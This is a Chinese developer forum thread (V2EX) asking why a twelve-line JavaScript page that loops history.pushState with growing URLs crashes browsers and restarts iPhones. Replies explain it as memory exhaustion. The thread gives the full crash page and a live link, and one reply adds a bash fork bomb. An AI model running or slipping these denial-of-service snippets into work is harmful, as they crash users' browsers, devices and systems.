12 行 javascript 代码能让浏览器崩溃 iPhone 自动重启

2016-01-28 13:09:47 +08:00
 zhanglangipis

RT 昨天在网上看到的这样几行 JavaScript 代码,觉得很神奇啊,有没有大神解释一下。

完整 HTML 代码如下:
<html>
<body>
<script>
var total="";
for (var i=0;i<1000000;i++)
{
total= total+i.toString ();
history.pushState (0,0,total);
}
</script>
</body>
</html>

慎点: http://www.ipis.com.cn/tetst.html

5475 次点击
所在节点    JavaScript
27 条回复
HadesYang
2016-01-28 16:50:02 +08:00
这有啥好试的,搞个循环吃内存嘛
KiriGiri
2016-01-28 16:56:46 +08:00



Edge 浏览器, 20s 内运行完,内存占用不超过 100M 。
just1
2016-01-28 17:00:05 +08:00
@KiriGiri edge 本来就不支持该函数
gimp
2016-01-28 17:26:58 +08:00
是时候 @一下 fork 炸弹了

:(){ :|:& };:
BOYPT
2016-01-28 17:29:54 +08:00
@just1 http://caniuse.com/#search=pushstate
支持的
只是 edge 的实现没有 webkit 系那么耗资源, 1000000 次跑完了。
zander
2016-01-28 17:40:02 +08:00
zhpech
2016-01-29 11:59:12 +08:00
@BOYPT 好像微软家要在 head 里做特殊处理才支持?

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/253977

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX